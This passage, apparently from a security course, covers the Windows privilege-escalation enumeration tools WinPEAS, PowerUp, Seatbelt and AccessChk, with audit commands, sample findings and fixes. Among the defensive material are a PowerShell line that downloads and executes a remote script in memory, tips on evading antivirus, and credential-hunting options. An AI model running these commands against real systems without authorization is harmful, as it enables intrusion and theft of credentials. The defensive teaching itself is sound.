WinPEAS (Windows Privilege Escalation Awesome Script) is a comprehensive Windows enumeration tool developed by Carlos Polop as part of the PEASS-ng project. It automates the process of scanning Windows systems for security misconfigurations that could lead to privilege escalation.

🔍 WinPEAS Capabilities Overview
  • ✅ System Information & OS Version
  • ✅ User & Group Memberships
  • ✅ Token Privileges (SeImpersonate, etc.)
  • ✅ Service Misconfigurations
  • ✅ Unquoted Service Paths
  • ✅ Weak Service Permissions
  • ✅ Registry Misconfigurations
  • ✅ AlwaysInstallElevated Check
  • ✅ Autorun & Startup Programs
  • ✅ Stored Credentials (DPAPI, Vault)
  • ✅ File System Permission Audits
  • ✅ Kernel Exploit Suggestions
📥 Official Resources

GitHub Repository:

github.com/carlospolop/PEASS-ng/winPEAS

Author: Carlos Polop

License: GPL-3.0

💡 WinPEAS Variants: WinPEAS comes in three versions: .exe (compiled), .bat (batch script), and .ps1 (PowerShell). The .exe is most reliable, .bat is portable, and .ps1 is useful when executables are blocked.

📌 Why Automated Windows Enumeration Matters

❓ The Windows Complexity Problem

A modern Windows system contains:

  • 100,000+ files and directories
  • 200+ running services
  • 50,000+ registry keys
  • Multiple user accounts and groups
  • Complex ACLs and permission inheritance
✅ How WinPEAS Helps
  • Scans 1000+ security checks in seconds
  • Color-codes findings by severity
  • Groups findings into logical categories
  • Provides context and remediation hints
  • Consistent, repeatable results
⚠️ Defensive Reality: Even experienced Windows administrators miss misconfigurations. WinPEAS acts as a force multiplier, not a replacement for expertise.

⚙️ WinPEAS Execution Methods (Defensive Auditing)

Method Command Best For Defensive Note
winPEAS.exe winPEAS.exe (cmd) Most reliable; compiled binary Recommended for most audits
winPEAS.bat winPEAS.bat Legacy systems, restricted environments No compilation needed
winPEAS.ps1 powershell -exec bypass -File winPEAS.ps1 PowerShell-enabled systems May trigger AV/AMSI
Execute from Memory [Net.WebClient]::new().DownloadString(url) | IEX No file write required High risk of detection
🚨 Critical Defensive Note: These commands are shown for defensive auditing only. Always ensure you have explicit written authorization before executing any enumeration tool on a system.

📋 WinPEAS Output Categories (What It Checks)

🟥 RED = High Severity (Immediate Attention Required)
  • AlwaysInstallElevated
  • SeImpersonatePrivilege enabled
  • Unquoted service paths
  • Weak service permissions
  • Writable system directories
  • Stored plaintext credentials
  • Modifiable registry autoruns
  • Everyone write access to sensitive paths
🟨 YELLOW = Medium Severity (Investigate)
  • Users in privileged groups
  • Old Windows versions
  • Missing security patches
  • Non-default services
  • Suspicious autoruns
  • Writable user directories
  • Weak folder permissions
  • Unencrypted protocols
🟦 BLUE = Low Severity (Informational)
  • System information
  • Network configuration
  • Running processes
  • Environment variables
  • Installed software
  • Hotfixes installed
  • User profiles
  • Domain membership

🔍 WinPEAS Detailed Check Categories

Check Defensive Purpose Red Flag
OS Version & Build Identify end-of-life systems Windows 7, Server 2008, XP
Hotfixes & Patches Missing security updates No patches for PrintNightmare, Zerologon, EternalBlue
Architecture 32-bit vs 64-bit 32-bit systems have weaker exploit mitigations
Domain Membership Identify domain-joined vs workgroup Workgroup systems lack centralized management

Check Defensive Purpose Red Flag
Current User Privileges Identify excessive rights SeImpersonatePrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege
Administrator Group Members Unauthorized admin accounts Non-approved users in local Administrators group
Password Policies Weak password requirements Minimum password length < 8, no complexity
Guest Account Status Disabled by default Guest account enabled
Logged-in Users Concurrent sessions Multiple RDP sessions, idle administrative accounts

Check Defensive Purpose Red Flag Remediation
Unquoted Service Paths Paths with spaces and no quotes CRITICAL - Binary hijacking possible Quote service paths or remove spaces
Weak Service Permissions Users can modify service config Users group has SERVICE_CHANGE_CONFIG Restrict service ACLs
Weak Binary Permissions Service executable writable by users BUILTIN\Users:(W) or Everyone:(W) icacls to restrict write access
Services Running as SYSTEM Unnecessary privileged accounts Third-party services as SYSTEM Use LocalService/NetworkService

Check Defensive Purpose Red Flag
AlwaysInstallElevated MSI install as SYSTEM HKLM & HKCU = 1 (CRITICAL)
Autorun Entries Persistence mechanisms Unauthorized or suspicious startup programs
Weak Registry ACLs Service registry keys writable Non-admin users can modify ImagePath
LAPS Status Local admin password management LAPS not installed or not configured

Check Defensive Purpose Red Flag
Unattend.xml / Autounattend.xml Deployment answer files Plaintext administrator passwords
PowerShell History ConsoleHost_history.txt Passwords typed in command line
Saved RDP Credentials cmdkey /list Stored domain/admin credentials
DPAPI Master Keys Encrypted secrets Accessible master key files
Browser Saved Passwords Chrome, Edge, Firefox Decryptable stored credentials
Configuration Files web.config, appsettings.json, .env Connection strings with passwords

Check Defensive Purpose Red Flag
World-Writable Directories Everyone/Users write access C:\Windows\Temp, C:\ProgramData
Startup Folder Permissions Persistence vector Users can write to Startup folder
SAM/SYSTEM Hive Permissions Registry hive files Readable by non-SYSTEM accounts
Modifiable System Binaries exe/dll in system32 writable CRITICAL - immediate remediation

Check Defensive Purpose Example
OS Build vs Known CVEs Unpatched kernel vulnerabilities MS17-010 (EternalBlue), CVE-2024-21338
Windows Version End-of-Life No security updates Windows 7 (EOL Jan 2020), Server 2008 (EOL Jan 2020)
⚠️ Kernel exploits are risky and should be validated through patch management, not exploitation.

📊 WinPEAS Output Examples (Defensive Interpretation)

🟥 Example 1: AlwaysInstallElevated = 1 (CRITICAL)
[*] Checking AlwaysInstallElevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!
    
    ❌ CRITICAL: Any user can install MSI packages with SYSTEM privileges
    ✅ FIX: Set both registry keys to 0 and remove group policy
🟥 Example 2: Unquoted Service Path
[*] Checking service paths without quotes
    Service: VulnService
    Path: C:\Program Files\Vendor App\service.exe
    ❌ CRITICAL: Path contains spaces and is not quoted
    ✅ FIX: Add quotes: "C:\Program Files\Vendor App\service.exe"
🟨 Example 3: SeImpersonatePrivilege Enabled
[*] Checking token privileges
    SeImpersonatePrivilege - Enabled
    ⚠️ WARNING: Current user has impersonation privileges
    ✅ FIX: Remove SeImpersonatePrivilege from non-admin users

📌 Windows Environment Limitations

Limitation Impact Workaround (Defensive)
Antivirus / EDR May flag/block WinPEAS as suspicious Temporarily exclude for authorized audits; use .bat variant
AppLocker / WDAC Blocks unsigned executables Use .bat or .ps1 with appropriate execution policy
PowerShell Constrained Language Limits .ps1 functionality Use winPEAS.exe or winPEAS.bat instead
UAC Non-elevated = limited results Run as Administrator for full audit
.NET Framework winPEAS.exe requires .NET winPEAS.bat has no dependencies

🛠️ Other Windows Automated Enumeration Tools (Defensive)

🪑 Seatbelt

C# tool for security configuration analysis

Defensive use: Quick security posture assessment

GitHub: GhostPack/Seatbelt

⚡ PowerUp

PowerShell tool for service/privilege misconfigurations

Defensive use: Identify service permission issues

PowerSploit/Privesc

🔍 PrivescCheck

PowerShell script with detailed reporting

Defensive use: Comprehensive auditing with remediation guidance

GitHub: itm4n/PrivescCheck

🔧 SharpUp

C# port of PowerUp

Defensive use: Memory execution, no PowerShell

GitHub: GhostPack/SharpUp

📋 AccessChk

Sysinternals tool for ACL auditing

Defensive use: Manual verification of permissions

Microsoft Sysinternals

🐍 Windows Exploit Suggester

Python tool for missing patches

Defensive use: Identify missing security updates

GitHub: AonCyberLabs


📌 Limitations of Automated Windows Tools

  • ❌ May generate false positives
  • ❌ Cannot understand business context
  • ❌ Miss custom application misconfigurations
  • ❌ No knowledge of intended vs actual state
  • ❌ Trigger security alerts (expected for audits)
  • ❌ Require elevation for complete results
  • ❌ Cannot replace manual analysis
Best Practice: Use WinPEAS as a screening tool. Every red finding must be manually verified using built-in commands (sc qc, icacls, reg query, Get-Acl).

📋 Defensive Windows Enumeration Workflow

  1. 1. Manual Baseline Enumeration
    Run whoami /priv, systeminfo, net localgroup Administrators to understand current state
  2. 2. Run WinPEAS (or other tool)
    Execute with appropriate privileges, redirect output to file for analysis
  3. 3. Filter by Severity
    Focus on RED (critical) findings first, then YELLOW, then BLUE
  4. 4. Manual Verification
    Verify each finding with native Windows commands
  5. 5. Document & Remediate
    Record findings, assign severity, apply fixes, re-audit

📋 WinPEAS Defensive Cheat Sheet

Scenario Recommended Command Notes
Full system audit winPEAS.exe Run as Administrator for complete results
AV/EDR present winPEAS.bat Less likely to be flagged
No .NET available winPEAS.bat No dependencies
Quick check winPEAS.exe quiet Reduced output, faster execution
Save results winPEAS.exe log output.txt Saves to file for analysis
Search for passwords winPEAS.exe searchfast Focuses on credential hunting

✅ WinPEAS Defensive Summary

WinPEAS is an essential tool in the defender's arsenal, not just for penetration testers. Regular automated scanning with WinPEAS helps organizations:

  • ✅ Identify and remediate misconfigurations before they are exploited
  • ✅ Validate that security baselines are applied consistently
  • ✅ Discover forgotten credentials and sensitive data exposure
  • ✅ Train security teams to recognize Windows privilege escalation vectors
  • ✅ Provide evidence for compliance and auditing requirements
⚠️ Tool vs Judgment: WinPEAS highlights potential issues. It does not understand your organization's specific requirements, exceptions, or compensating controls. Always verify findings in context.
🚨 Legal & Ethical Notice:
WinPEAS and other automated enumeration tools must only be used on systems you own or have explicit written authorization to test. Unauthorized use is illegal, violates computer fraud laws, and is unethical.

21.32 PowerUp – PowerShell Service & Privilege Auditing (Defensive)

⚠️ Strictly Educational & Defensive: PowerUp is a PowerShell tool originally designed for privilege escalation identification. This section explains how defenders and system administrators use PowerUp to audit Windows systems for service misconfigurations, weak permissions, and privilege escalation vectors. No exploitation techniques are included.

PowerUp is a PowerShell module developed by the PowerShellMafia as part of the PowerSploit framework. It is specifically designed to identify Windows service misconfigurations, weak file/registry permissions, and privilege escalation opportunities. Unlike WinPEAS (comprehensive enumeration), PowerUp specializes in service-level and permission-based vulnerabilities.

💡 Defensive Niche: PowerUp excels at detecting unquoted service paths, weak service ACLs, modifiable service binaries, and AlwaysInstallElevated — the most common Windows privilege escalation vectors.
📥 PowerUp Resources

GitHub:
PowerSploit/Privesc

Author: PowerShellMafia

Language: PowerShell

License: BSD-3-Clause


🎯 Why PowerUp? (Defensive Perspective)

✅ Strengths (Defender Benefits)
  • Focused Scope: Specializes in service misconfigurations
  • PowerShell Native: No compilation required
  • Memory-Only Execution: No files written to disk
  • Clear Output: Human-readable findings
  • Remediation Hints: Suggests how to fix issues
  • Lightweight: Faster than WinPEAS for targeted audits
⚠️ Limitations (Defender Awareness)
  • PowerShell Dependent: Requires PowerShell execution
  • AMSI Bypass Needed: Often flagged by AV/EDR
  • Less Comprehensive: No kernel exploit suggestions
  • No Credential Hunting: Does not search for passwords
  • Legacy Tool: Less maintained than WinPEAS
Defensive Best Practice: Use PowerUp for targeted service audits and WinPEAS for comprehensive system scans. They complement each other.

🔧 PowerUp Core Functions (Defensive Checks)

Function Purpose Defensive Red Flag
Invoke-AllChecks MASTER FUNCTION: Runs all PowerUp checks Aggregated report of all misconfigurations
Get-ModifiableServiceFile Find services where users can modify the service binary Writable service executables by non-admin users
Get-ModifiableService Find services where users can modify the service configuration Users can change service binary path (sc config)
Get-UnquotedService Find services with unquoted paths containing spaces CRITICAL: Binary hijacking possible
Get-ModifiableRegistryAutoRun Find autorun registry keys writable by users Persistence vector for privilege escalation
Get-ModifiableScheduledTaskFile Find scheduled tasks with modifiable scripts/binaries Tasks running as SYSTEM with writable files
Get-WebConfigSettings Find IIS web.config files with connection strings Plaintext database passwords
Test-ServiceDaclPermission Check service DACLs for weak permissions Users group has SERVICE_CHANGE_CONFIG
💡 Defensive Focus: PowerUp's functions map directly to MITRE ATT&CK techniques: T1543.003 (Windows Service), T1574.001 (DLL Search Order Hijacking), T1547.001 (Registry Run Keys).

⚙️ PowerUp Execution Methods (Defensive Auditing)

🛡️ Method 1: Import Module & Run All Checks (Recommended)
# Download PowerUp.ps1 (authorized system only)
Import-Module .\PowerUp.ps1
Invoke-AllChecks

Best for: Comprehensive service audit. Outputs all findings with color coding.

🛡️ Method 2: Memory Execution (No File Write)
# Execute directly from GitHub (defensive testing only)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
⚠️ Defensive Note: This method downloads and executes in memory. Often triggers Windows Defender/AMSI. For authorized audits only.
🛡️ Method 3: Targeted Function (Specific Check)
# Only check for unquoted service paths
Import-Module .\PowerUp.ps1
Get-UnquotedService | Format-Table -AutoSize

Best for: Focused audits when you only need specific checks.

🚨 Authorization Required: These commands are shown for defensive auditing of systems you own. Unauthorized execution is illegal and unethical.

📊 PowerUp Output Examples (Defensive Interpretation)

🟥 Example 1: Unquoted Service Path (CRITICAL)
ServiceName    : VulnService
Path           : C:\Program Files\Vendor App\service.exe
StartName      : LocalSystem
AbuseFunction  : Write-Host -ForegroundColor Yellow "Path: C:\Program Files\Vendor App\service.exe"
CanBeRestarted : True

❌ CRITICAL FINDING: Service path contains spaces and is NOT quoted
✅ FIX: Add quotes - sc config VulnService binPath= "C:\Program Files\Vendor App\service.exe"
🟥 Example 2: Modifiable Service Binary (CRITICAL)
ServiceName    : UpdateService
Path           : C:\Program Files\Updater\updater.exe
ModifiablePath : @{Permissions=WriteOwner/WriteDACL/Write}
IdentityReference : BUILTIN\Users

❌ CRITICAL: Standard users can WRITE to service binary
✅ FIX: icacls "C:\Program Files\Updater\updater.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F
🟥 Example 3: AlwaysInstallElevated (CRITICAL)
[*] Checking AlwaysInstallElevated...
    HKLM: 1
    HKCU: 1

❌ CRITICAL: Any user can install MSI packages as SYSTEM
✅ FIX: Set HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 0
         HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 0
🟨 Example 4: Modifiable Registry Autorun
[*] Checking modifiable registry autoruns...
Key         : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UpdateChecker
Modifiable  : True
IdentityReference : BUILTIN\Users

⚠️ WARNING: Users can modify this autorun registry key
✅ FIX: Restrict permissions on registry key or remove if unnecessary

🔍 Manual Verification of PowerUp Findings (Defensive)

Every PowerUp finding should be manually verified using native Windows commands. This ensures accuracy and builds defender knowledge.

PowerUp Finding Manual Verification Command What to Check
Unquoted Service Path wmic service get name,pathname | findstr /i /v """" | findstr /i /v "C:\\Windows\\" Paths with spaces and no quotes
Weak Service Binary Permissions icacls "C:\Program Files\Vendor\service.exe" BUILTIN\Users:(W) or Everyone:(W)
Weak Service DACL sc sdshow VulnService | Get-ACL -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnService" Users group with SERVICE_CHANGE_CONFIG
AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated Value = 1 (0x1) in both HKLM and HKCU
Modifiable Registry Autorun Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Format-List Users group with Write/FullControl

🛡️ Using PowerUp for Defensive Hardening

✅ Pre-Change Baseline

Run PowerUp before making security changes to establish baseline:

Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File pre-hardening-audit.txt
✅ Post-Change Verification

Run PowerUp after hardening to verify fixes:

Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File post-hardening-audit.txt
💡 Defensive Automation: Security teams can create scheduled tasks to run PowerUp weekly and compare outputs to detect configuration drift.

🛡️ PowerUp Detection & AMSI (Defender Perspective)

🔍 How Windows Defender Detects PowerUp
  • AMSI Signatures: Detects known PowerUp function names
  • Script Block Logging: PowerShell logs full script content
  • Behavioral Analysis: Service query patterns
  • Network Signatures: Downloading from raw GitHub
  • Event ID 4104: PowerShell script block logged
  • Event ID 4103: Module logging
  • Event ID 4688: Process creation with PowerShell
⚠️ Defensive Note: For authorized internal audits, temporarily exclude PowerShell scripts or use .exe alternatives (WinPEAS). Unauthorized use WILL be detected.

📌 PowerUp Limitations (Defender Awareness)

  • PowerShell Dependent: Cannot run if PowerShell is disabled or restricted
  • AMSI/Defender Trigger: Heavily signatured; often blocked
  • Legacy Code: Less maintained than WinPEAS (last major updates 2016-2018)
  • No Kernel Checks: Does not suggest missing patches or kernel exploits
  • No Credential Hunting: Does not search for passwords, DPAPI, or browser credentials
  • False Positives: May flag services that are not actually exploitable in context
Modern Alternative: For comprehensive audits, use WinPEAS. For service-specific audits, use PowerUp or SharpUp (C# port).

📋 Defensive PowerUp Workflow

  1. 1. Prepare Test Environment
    Download PowerUp.ps1 to authorized audit system. Never run from untrusted sources.
  2. 2. Execute with Audit Policy
    Run with explicit authorization. Document start time, system, and auditor.
  3. 3. Export Results
    Redirect output to file with timestamp. Include in audit report.
  4. 4. Manual Verification
    Verify each CRITICAL finding with icacls, sc qc, reg query.
  5. 5. Remediate & Re-audit
    Fix verified issues, run PowerUp again to confirm remediation.

📋 PowerUp Defensive Cheat Sheet

Task PowerUp Command Alternative Native Command
Full Service Audit Invoke-AllChecks sc query & wmic service
Unquoted Paths Only Get-UnquotedService wmic service get name,pathname | findstr /i /v """"
Weak Service Binaries Get-ModifiableServiceFile icacls [service_path]
Weak Service DACLs Get-ModifiableService sc sdshow [service]
AlwaysInstallElevated Get-RegistryAlwaysInstallElevated reg query HKLM\...\AlwaysInstallElevated

✅ PowerUp Defensive Summary

PowerUp is a specialized, powerful tool for Windows service security auditing. When used responsibly on authorized systems, it helps defenders:

  • ✅ Identify and fix unquoted service paths before attackers exploit them
  • ✅ Discover weak service permissions that allow privilege escalation
  • ✅ Detect AlwaysInstallElevated misconfigurations
  • ✅ Find modifiable autorun registry keys
  • ✅ Validate service hardening after security patches
⚠️ Deprecation Note: PowerSploit (including PowerUp) is no longer actively maintained. However, the PowerUp functions remain relevant and effective for Windows service auditing. For modern systems, consider WinPEAS or SharpUp as complementary tools.
🚨 Legal & Ethical Notice:
PowerUp must only be used on systems you own or have explicit written authorization to test. Unauthorized use violates computer fraud laws and is unethical.

Section 21.32 Complete — PowerUp: PowerShell Service & Privilege Auditing for Defenders


21.33 Seatbelt & AccessChk – Windows Security Configuration Analysis (Defensive)

⚠️ Strictly Educational & Defensive: Seatbelt and AccessChk are powerful tools for analyzing Windows security configurations, permissions, and attack surface. This section explains how defenders, incident responders, and system administrators use these tools to audit systems, validate hardening, and investigate potential compromises. No exploitation techniques are included.

Seatbelt is a C# project developed by Harmj0y as part of GhostPack. It is a security configuration analysis tool that collects detailed system information and identifies potential security weaknesses. Unlike WinPEAS (privilege escalation focused) and PowerUp (service focused), Seatbelt provides a broad, comprehensive snapshot of system security posture.

AccessChk is a Sysinternals tool developed by Mark Russinovich. It is the gold standard for manual permission auditing. Unlike automated scanners, AccessChk gives defenders precise control to check permissions on specific files, directories, registry keys, services, and processes. It is lightweight, portable, and trusted.

💡 Defensive Distinction: WinPEAS = Comprehensive scanner; PowerUp = Service specialist; Seatbelt = Security posture assessor; AccessChk = Permission verification tool. They are complementary, not competitive.

🪑 SEATBELT – Deep Dive (Defensive Analysis)

🔍 What Seatbelt Checks (60+ Security Categories)
🔐 System & OS
  • OS Version & Build
  • Hotfixes & Patches
  • UAC Configuration
  • LAPS Status
  • PowerShell Settings
👥 Users & Groups
  • Local User Accounts
  • Administrator Group
  • Token Privileges
  • Logged-in Users
  • RDP Sessions
⚙️ Services & Tasks
  • Running Services
  • Service Permissions
  • Scheduled Tasks
  • Drivers
📁 Files & Registry
  • Autoruns
  • Interesting Files
  • Putty Host Keys
  • WSL Distributions
  • Chromium Saved Passwords
📥 Seatbelt Resources

GitHub:
GhostPack/Seatbelt

Author: Harmj0y (Will Schroeder)

Language: C# (.NET)

License: BSD-3-Clause

Version: Seatbelt v2.0+

⚙️ Seatbelt Execution Methods (Defensive Auditing)
Command Purpose Defensive Use Case
Seatbelt.exe Run all checks (comprehensive) Complete system security posture assessment
Seatbelt.exe -group=system System information only Quick OS version and patch audit
Seatbelt.exe -group=user User-focused checks Audit current user privileges and groups
Seatbelt.exe -group=misc Miscellaneous checks LAPS, audit policy, DPAPI
Seatbelt.exe -group=chromium Browser saved passwords Identify plaintext credential storage
Seatbelt.exe -full Maximum verbosity Deep dive investigations
📊 Seatbelt Output Examples (Defensive Interpretation)
🟨 Example 1: UAC Configuration
=== UAC Configuration ===
    EnableLUA                       : 1
    ConsentPromptBehaviorAdmin      : 2
    PromptOnSecureDesktop           : 1
    EnableInstallerDetection       : 1
    LocalAccountTokenFilterPolicy  : 0
    
    ✅ UAC is enabled and configured appropriately
    ⚠️ ConsentPromptBehaviorAdmin=2 = Prompt for consent (default - Good)
    ❌ LocalAccountTokenFilterPolicy=1 = Remote UAC bypass (CRITICAL)

Defensive Action: Ensure LocalAccountTokenFilterPolicy is 0. This prevents remote admin bypass.

🟥 Example 2: LAPS Status
=== LAPS ===
    Installed            : False
    Administrators Group : 
    Password Enabled     : False
    
    ❌ LAPS is NOT installed. Local administrator passwords are not managed.

Defensive Action: Deploy LAPS (Local Administrator Password Solution) immediately.

🟥 Example 3: Chromium Saved Passwords
=== Chromium Saved Passwords ===
    URL                     : https://corporate-portal.example.com
    Username               : jdoe
    Password               : Summer2024!
    
    ❌ CRITICAL: Plaintext credentials stored in browser. User may not be aware.

Defensive Action: Educate users not to save passwords in browsers. Consider enterprise password manager.

🟢 Example 4: PowerShell Settings
=== PowerShell Settings ===
    PowerShell v2          : False
    PowerShell v5/v7       : True
    Transcription Logs     : True
    Module Logging        : True
    Script Block Logging  : True
    
    ✅ PowerShell v2 (vulnerable) is DISABLED
    ✅ Enhanced logging is ENABLED (Good for incident response)

Defensive Action: Maintain current configuration. PowerShell v2 should remain disabled.

🛡️ Seatbelt Defensive Applications
🔍 Incident Response

Rapidly collect system configuration, logged-in users, autoruns, and suspicious services during IR.

Seatbelt.exe -group=system -group=user -group=misc
📋 Compliance Auditing

Verify systems meet security baselines (CIS, NIST, DISA STIG).

Seatbelt.exe -full -output=c:\audit\seatbelt-$(hostname)-$(date).txt
🔒 Pre-Hardening Baseline

Establish baseline before implementing security changes.

Seatbelt.exe -full > pre-hardening.log

🔧 ACCESSCHK – Deep Dive (Defensive Permission Auditing)

🔍 What AccessChk Does

AccessChk answers the question: "Who has WHAT access to THIS object?"

  • ✅ Files & Directories
  • ✅ Registry Keys
  • ✅ Services
  • ✅ Processes
  • ✅ Global Objects
  • ✅ Named Pipes
  • ✅ Windows Stations
  • ✅ Desktop Objects
📥 AccessChk Resources

Official:
Microsoft Sysinternals

Author: Mark Russinovich

Language: Native Windows

License: Freeware

Defender's Choice: AccessChk is the most trusted permission auditing tool in Windows. It is digitally signed by Microsoft, extremely lightweight (single .exe), and works on all Windows versions from XP to Server 2025.
⚙️ AccessChk Execution Methods (Defensive)
Command Purpose Defensive Use Case
accesschk.exe -d C:\Windows\ Check directory permissions Verify system directory is not writable by Users
accesschk.exe \\.\C$\ Check admin share permissions Audit remote administrative access
accesschk.exe -k hklm\software Check registry key permissions Audit service registry keys, autorun keys
accesschk.exe -c VulnService Check service permissions Verify Users cannot modify service config
accesschk.exe -p * Check process permissions Identify processes accessible by non-admin users
accesschk.exe -u Users C:\ Check access for specific user/group What can the Users group write to?
accesschk.exe -w -s Users C:\ Find writable files/dirs recursively Comprehensive writable file audit
accesschk.exe -k -w -s Users hklm Find writable registry keys recursively Comprehensive registry permission audit
📊 AccessChk Output Examples (Defensive Interpretation)
🟥 Example 1: Writable Service Binary (CRITICAL)
C:\> accesschk.exe -u Users "C:\Program Files\Vendor\service.exe"

RW BUILTIN\Users
    FILE_ADD_FILE
    FILE_ADD_SUBDIRECTORY
    FILE_APPEND_DATA
    FILE_WRITE_DATA
    FILE_WRITE_EA
    FILE_WRITE_ATTRIBUTES

❌ CRITICAL: Users group has WRITE access to service executable
✅ FIX: icacls "C:\Program Files\Vendor\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F
🟥 Example 2: Weak Service DACL (CRITICAL)
C:\> accesschk.exe -c VulnService

  VulnService
    R NT AUTHORITY\SYSTEM
    R BUILTIN\Administrators
    RW BUILTIN\Users
        SERVICE_ALL_ACCESS

❌ CRITICAL: Users group has FULL CONTROL over service configuration
✅ FIX: sc sdset VulnService D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
🟨 Example 3: Writable Startup Folder
C:\> accesschk.exe -d -u Users "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

RW BUILTIN\Users
    FILE_ADD_FILE
    FILE_ADD_SUBDIRECTORY
    FILE_WRITE_DATA

⚠️ WARNING: Users can add files to Startup folder (persistence vector)
✅ FIX: Remove Users write permission from Startup folder
🟢 Example 4: Secure Configuration
C:\> accesschk.exe -k -u Users hklm\software\microsoft\windows\currentversion\run

No matching objects found.

✅ Users have NO write access to system-wide autorun registry keys
✅ Configuration is secure
🛡️ AccessChk Defensive Workflow
📋 Service Security Audit
# Check all services for weak permissions
accesschk.exe -c * | findstr /i "RW BUILTIN\\Users"
accesschk.exe -c * | findstr /i "RW Everyone"
📁 File System Audit
# Find world-writable directories
accesschk.exe -w -s Users C:\ 2>nul
accesschk.exe -w -s Everyone C:\ 2>nul
📋 Registry Audit
# Find writable registry autorun keys
accesschk.exe -k -w -s Users hklm\software\microsoft\windows\currentversion\run
🔄 Service Binary Audit
# Check all service binaries for weak permissions
for /f %s in ('sc query state^= all ^| findstr /i "SERVICE_NAME" ^| findstr /v "gupdate gupdatem"') do accesschk.exe -u Users "%~s"

🔄 Seatbelt vs AccessChk: Defensive Comparison

Feature Seatbelt AccessChk
Primary Purpose Security posture assessment (broad) Permission verification (focused)
Scope 60+ categories across entire system Specific objects (files, registry, services)
Output Comprehensive report Precise permission listings
Use Case Initial audit, baseline, incident response Verifying specific findings, manual investigation
Signature Not signed (community tool) Microsoft digitally signed
AV Detection Often flagged Whitelisted by most AV/EDR
Best For "What's wrong with this system?" "Is THIS specific object secure?"
💡 Defensive Workflow Integration:
  1. Seatbelt/WinPEAS – Identify potential issues (broad scan)
  2. AccessChk – Verify specific permissions (manual verification)
  3. Remediation – Apply fixes (icacls, sc sdset, regini)
  4. Re-audit – AccessChk to confirm fix

📋 Defensive Checklist: Seatbelt & AccessChk

✅ Weekly Security Audits
  • Run Seatbelt.exe -group=system -group=user -group=misc
  • Check for LAPS installation
  • Verify UAC settings
  • Audit local administrator group
  • Compare against baseline
✅ Service Hardening
  • accesschk -c * | findstr "RW BUILTIN\\Users"
  • accesschk -c * | findstr "RW Everyone"
  • Verify no unquoted service paths
  • Ensure no services run as SYSTEM unnecessarily
✅ File System Audits
  • accesschk -w -s Users C:\Program Files
  • accesschk -w -s Users C:\Windows
  • Audit Startup folder permissions
  • Check for world-writable system directories
✅ Registry Audits
  • accesschk -k -w -s Users hklm\software
  • Audit autorun registry keys
  • Check AlwaysInstallElevated
  • Verify service registry key ACLs

📌 Tool Limitations (Defender Awareness)

🪑 Seatbelt Limitations
  • ❌ Unsigned executable – often flagged by AV
  • ❌ Requires .NET framework
  • ❌ No automatic remediation
  • ❌ Can trigger EDR alerts (expected for audits)
  • ❌ Some checks require admin privileges
🔧 AccessChk Limitations
  • ❌ No GUI – command line only
  • ❌ Output can be verbose/difficult to parse
  • ❌ No automated remediation
  • ❌ Requires understanding of ACLs/SDDL
  • ❌ Recursive scans can be slow on large drives

✅ Seatbelt & AccessChk – Defensive Summary

🪑 Seatbelt:

  • ✅ Best for broad security posture assessments
  • ✅ Excellent for incident response triage
  • ✅ Identifies misconfigurations across 60+ categories
  • ✅ Ideal for baseline establishment

🔧 AccessChk:

  • ✅ Gold standard for permission verification
  • ✅ Microsoft signed – trusted by defenders
  • ✅ Precise, targeted audits
  • ✅ Essential for manual verification
⚠️ Defensive Integration: Use Seatbelt to find potential issues. Use AccessChk to verify them. Use WinPEAS to catch what Seatbelt misses. No single tool is sufficient.
🚨 Legal & Ethical Notice:
These tools must only be used on systems you own or have explicit written authorization to test. Unauthorized use is illegal and unethical. Seatbelt and AccessChk are legitimate administrative tools, but their misuse is prohibited.

21.34 Defense Against Privilege Escalation (Complete Defensive Framework)

🎯 Defensive Philosophy: Privilege escalation is not a vulnerability—it is a symptom of weak security fundamentals. Organizations that consistently apply least privilege, maintain patch discipline, and actively monitor privileged operations eliminate the vast majority of escalation paths. This section provides a complete framework for defense.
⚠️ Defensive Mindset: Assume initial compromise is inevitable. Design systems to contain and limit what an attacker can do after breach. Defense-in-depth is not optional.

🛡️ Core Defense Principles (Expanded)

🔹 Principle 1: Least Privilege

Definition: Users, processes, and systems should only have the minimum permissions necessary to perform their function.

Implementation:

  • Users: Standard user accounts, not administrators
  • Services: Run as Network Service/Local Service, not SYSTEM
  • Applications: Containerized with restricted capabilities
  • Network: Firewall rules, not any-to-any

✔ Eliminates 80% of privilege escalation vectors at source

🔹 Principle 2: Secure by Default

Definition: Systems should be deployed in a hardened, locked-down state. Unnecessary features and services should be disabled.

Implementation:

  • Baselining: CIS Benchmarks, DISA STIGs
  • Automation: Ansible, Puppet, DSC for consistent config
  • Removal: Uninstall legacy components, disable weak protocols

✔ Prevents misconfigurations before they reach production

🔹 Principle 3: Defense in Depth

Definition: Multiple, overlapping security controls ensure that failure of one control does not lead to system compromise.

Implementation:

  • Preventive: Permissions, AppLocker, SELinux
  • Detective: Logging, SIEM, EDR
  • Corrective: Automated remediation, IR playbooks

✔ No single point of security failure

🔹 Principle 4: Continuous Validation

Definition: Security is not a one-time activity. Configurations drift, patches are missed, and new vulnerabilities emerge.

Implementation:

  • Automated scanning: Weekly WinPEAS/LinPEAS audits
  • Vulnerability management: Monthly patch cycles
  • Red teaming: Annual penetration tests

✔ Finds and fixes regressions before attackers do

💡 Defensive Force Multiplier: These principles are most effective when applied together. Least privilege without monitoring is blind; monitoring without least privilege is noisy.

🪟 Windows Defense – Practical Hardening Guide

